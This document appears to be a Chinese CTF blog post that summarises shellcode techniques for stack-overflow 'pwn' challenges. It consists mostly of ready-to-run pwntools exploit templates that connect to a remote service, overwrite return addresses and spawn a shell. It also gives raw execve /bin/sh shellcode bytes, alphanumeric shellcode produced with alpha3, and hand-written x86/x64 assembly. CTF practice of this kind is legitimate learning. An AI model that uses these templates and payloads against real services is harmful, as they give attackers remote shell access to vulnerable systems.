pwn(部分shellcode总结)

这里的shellcode的题目都是利用栈溢出了

shellcode的获取方法:

  1. 利用pwntools的shellcraft模块
  2. 网上查询

直接写入shellcode

1.32位

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *
from LibcSearcher import *
#context.log_level = 'debug'
context(os='linux', arch='i386', log_level='debug')
#r=process('./elf')
#e=ELF('./elf')
r = remote("域名",端口)

shellcode = asm(shellcraft.sh())

payload1=shellcode
r.sendline(payload1)
r.interactive()

1.64位

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *
from LibcSearcher import *
#context.log_level = 'debug'
context(os='linux', arch='amd64', log_level='debug')
#r=process('./elf')
#e=ELF('./elf')
r = remote("域名",端口)

shellcode = asm(shellcraft.sh())
r.recvuntil("") #根据实际情况,也可能没有
payload1=shellcode

r.sendline(payload1)

r.interactive()

在bss段写入shellcode

2.32位

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *
from LibcSearcher import *
#context.log_level = 'debug'
context(os='linux', arch='i386', log_level='debug')
r = remote("域名",端口)

shellcode = asm(shellcraft.sh())

buf2=0x804A080 #根据实际情况

r.recvuntil("xxxxxxx") #根据实际情况,也可能没有

payload1=shellcode.ljust(112,b"a")+p32(buf2) #偏移量根据实际请况

r.sendline(payload1)

r.interactive()

2.64位

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import *
from LibcSearcher import *
context(os='linux', arch='amd64', log_level='debug') # 修改了arch为'amd64'

# 保持连接信息不变
r = remote("域名",端口)

# 确保使用的是64位shellcode
shellcode = asm(shellcraft.sh())

buf2=0x601000 # 示例地址,实际使用时请替换为目标程序中的正确地址

r.recvuntil("xxxxxxx") #根据实际情况,也可能没有

# 构造payload,注意使用p64()来适应64位地址空间
payload1=shellcode.ljust(112,b"a")+p64(buf2) #偏移量根据实际请况

r.sendline(payload1)

r.interactive()

pwntools的shellcode长度过长利用网上找的shellcode

例题ctfshow pwn61,这里还有注意有个leave不能直接在栈上写入shellcode,shellcode要放在v5之后即要放在v5首地址的24+8字节后

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from pwn import *
from LibcSearcher import *
context(os='linux', arch='amd64', log_level='debug')
r=process('./pwn61')
#r = remote("域名",端口)
shellcode =b"\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\xb0\x3b\x99\x0f\x05"# 22bytes
#shellcode = asm(shellcraft.sh())
#shellcode=b'\x48\xb8\x2f\x62\x69\x6e\x2f\x73\x68\x00\x50\x54\x5f\x31\xc0\x50\xb 0\x3b\x54\x5a\x54\x5e\x0f\x05'
#shellcode =b'\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f \x6a\x3b\x58\x99\x0f\x05'
#shellcode =b'\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80' 32位
#shellcode =b'\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80' 32位
#shellcode =b'(\x6A)\x68\x68\x2F\x2F\x2F\x73\x68\x2F\x62\x69\x6E\x89\xE3\x31\xC9\x31\xD2\x6A\x0B\x58\xCD\x80' 32位
#shellcode =b'PYIIIIIIIIIIQZVTX30VX4AP0A3HH0A00ABAABTAAQ2AB2BB0BBXP8ACJJISZTK1HMIQBSVCX6MU3K9M7CXVOSC3XS0BHVOBBE9RNLIJC62ZH5X5PS0C0FOE22I2NFOSCRHEP0WQCK9KQ8MK0A' 纯ASCII
r.recvuntil("What's this : [")

v5=int(r.recv(14),16)

print("shellcode:",len(shellcode))
print("v5:",hex(v5))

r.recvuntil("But how to use it?\n")

payload1=b"a"*24+p64(v5+32)+shellcode

r.sendline(payload1)

r.interactive()

shellcode是需要由大小写字母及数字构成

先要下载alpha3;

1
git clone https://github.com/TaQini/alpha3.git

应为github很不稳定所以这里推荐两种方法

  1. 科学上网(其实是不文明上网),自己理解
    1
  2. 用bgithub.xyz替换github.com

​ 然后再利用pwntools生成一个shellcode

1
2
3
4
5
from pwn import *
context.arch='amd64'
sc = asm(shellcraft.sh())
with open('sc', 'bw') as f:
f.write(sc)

将上述代码保存成sc.py放到alpha3目录下,然后执行如下命令生成待编码的shellcode文件

1
2
cd alpha3
python3 sc.py > sc

使用alpha3生成string.printable (这里得用 python2)

1
python2 ./ALPHA3.py x64 ascii mixedcase rax --input="sc"
1
2
3
4
5
6
7
8
from pwn import *
from LibcSearcher import *
context(os='linux', arch='amd64', log_level='debug')
e=ELF('./pwn65')
r = remote("域名",端口)
shellcode="Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t"
r.send(shellcode)
r.interactive()

shellcode开头为\x00

用脚本找

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *
from itertools import *
import re

for i in range(1, 3):
for j in product([p8(k) for k in range(256)], repeat=i):
payload = b"\x00" + b"".join(j)
res = disasm(payload)
if (
res != " ..."
and not re.search(r"\[\w*?\]", res)
and ".byte" not in res
):
print(res)
input()

exp模板

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *
from LibcSearcher import *
#context.log_level = 'debug'
context(os='linux', arch='amd64', log_level='debug')
#r = process('./')
#elf=ELF('./')
r = remote("域名",端口)
shellcode = asm(shellcraft.sh())
r.recvuntil("")

r.sendline(b'\x00'+b'\xc0'+shellcode)
r.recvuntil("")
r.interactive()

手动写shellcode

先学习一下怎么写入shellcode

32和64的系统调用表

ASCll转16进制

查看可以被使用汇编指令

在线编写汇编指令

x64

1
2
3
4
5
6
7
8
mov rax, 0x68732f6e69622f;
push rax;
mov rdi, rsp;
xor esi, esi;
xor edx, edx;
push 0x3b;
pop rax;
syscall;
1
2
3
4
5
6
7
8
9
10
11
xor rax,rax
push 0x3b
pop rax
xor rdi,rdi
mov rdi ,0x68732f6e69622f
push rdi
push rsp
pop rdi
xor rsi,rsi
xor rdx,rdx
syscall

x32

1
2
3
4
5
6
7
8
9
10
11
xor ecx,ecx
xor edx,edx
xor ebx,ebx
push ebx
push 0x68732f2f
push 0x6e69622f
mov ebx,esp
xor eax,eax
push 11
pop eax
int 0x80

手写open,read,write的shellcode

这个就是sandbox见我的另一篇文章